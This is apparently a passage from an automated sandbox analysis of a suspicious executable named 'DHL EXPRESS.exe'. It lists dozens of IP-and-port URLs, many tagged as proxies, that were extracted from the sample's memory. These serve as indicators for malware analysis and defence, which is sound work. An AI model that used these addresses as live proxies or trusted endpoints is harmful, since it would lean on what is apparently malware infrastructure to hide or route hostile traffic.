Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.189.118.92:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADF0B000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADF2E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.189.151.27:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADF57000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.189.151.27:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.190.78.50:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.190.78.50:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC3C1000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC398000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.191.75.186:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC3C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.191.75.186:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC36A000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC311000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.196.148.67:5432
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC31E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.196.148.67:5432://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.196.151.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.196.151.134:5432
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.196.151.134:5432://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.196.151.84:5432
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.196.151.84:5432://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.201.134.38:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.201.134.38:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.224.20.68:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.224.20.68:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.224.247.102
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.224.247.102://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.224.247.102:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD7D5000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD77C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.225.184.177:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD83F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.225.184.177:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.225.204.8:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.225.204.8:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.225.207.166:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.226.0.2:4153
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.226.0.2:4153://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD935000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.226.1.1:4153
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADB9D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.226.1.1:4153://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.228.147.209:5678
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.228.147.209:5678://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.228.235.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.228.235.25:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.228.235.25:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA925000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.229.10.98:8402
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA925000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.229.10.98:8402://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB25A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.229.34.174:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB25A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.229.34.174:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.230.49.2:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.230.49.2:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.232.79.0:9292
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.232.79.0:9292://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.233.169.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.233.169.40:9994
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.233.169.40:9994://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.234.100.112:1080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.234.100.112:1080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.234.60.3:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.234.60.3:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.234.61.1
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.234.61.173:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.234.61.173:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC6AA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.234.61.4:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC6CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.234.61.4:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.235.123.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.235.123.45:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.235.123.45:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.240.182.120:1975
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.240.182.120:1975://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.252.79.48:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.252.79.48:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.4.85.150:5678
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.4.85.150:5678://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.5.117.76:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.5.117.76:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.5.118.43:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA925000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.5.118.43:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.56.220.210:59920
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.56.220.210:59920://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.6.94.159:4153
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.6.94.159:4153://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.61.187.67:4009
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.61.187.67:4009://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.65.137.2
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.65.137.218:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.65.137.218:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.65.138.48:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.65.138.48:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AADEC000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.7.24.102:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.7.24.102:3128://proxy0
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.70.206.42:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.70.206.42:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.71.184.134:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.71.184.134:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB388000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.77.108.208:9050
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.77.108.208:9050://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA7CD000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA7FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.77.111.135:15082
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA7CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.77.111.135:15082://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.77.99.122:20473
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.77.99.122:20473://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.79.134.7
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.79.134.70:19065
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.79.134.70:19065://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.81.225.9
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.81.225.94:30001
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.81.225.94:30001://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.81.232.1
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.81.232.17:14669
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.81.232.17:14669://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.81.232.17:17639
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.81.232.17:17639://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.81.232.17:23711
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.81.232.17:23711://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.81.232.17:47056
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.81.232.17:47056://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.81.232.17:48085
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.81.232.17:48085://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.81.232.17:54393
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.81.232.17:54393://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.81.232.17:9165
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.81.232.17:9165://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.82.1
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.82.15.11:8888
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.82.15.11:8888://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.90.104.150:9090
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.90.104.150:9090://proxyx
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.0.203.186:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.0.203.186:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.10.229.243:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.10.229.243:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.101.102.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.101.102.134:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.101.102.134:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.101.102.134:3128e
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.101.160.223
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.101.160.223://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.101.160.223:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.101.5.73:46296
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.101.5.73:46296://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.105.35.1
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.105.35.193:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.105.35.193:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.105.44.2
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.105.44.29:64523
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.105.44.29:64523://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.126.70.47:9050
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.126.70.47:9050://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB844000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB870000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.17.63.166:10000
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB88C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.17.63.166:10000://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.17.63.166:4154
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.17.63.166:4154://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.209.204.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.209.204.147:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.209.204.147:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.209.207.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.209.207.147:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.209.207.147:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB4E7000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB54C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.209.207.150:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB501000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.209.207.150:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD77C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.209.207.151:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.209.207.151:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.209.207.153:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.209.207.153:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.209.54.102:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.209.54.102:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.209.54.110:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.209.54.110:8080://proxyx
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.21.153.16:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.21.153.16:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.22.210.1
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.22.210.184:443
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.22.210.184:443://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.227.37.185:1088
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.227.37.185:1088://proxyp
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.23.53.164:3629
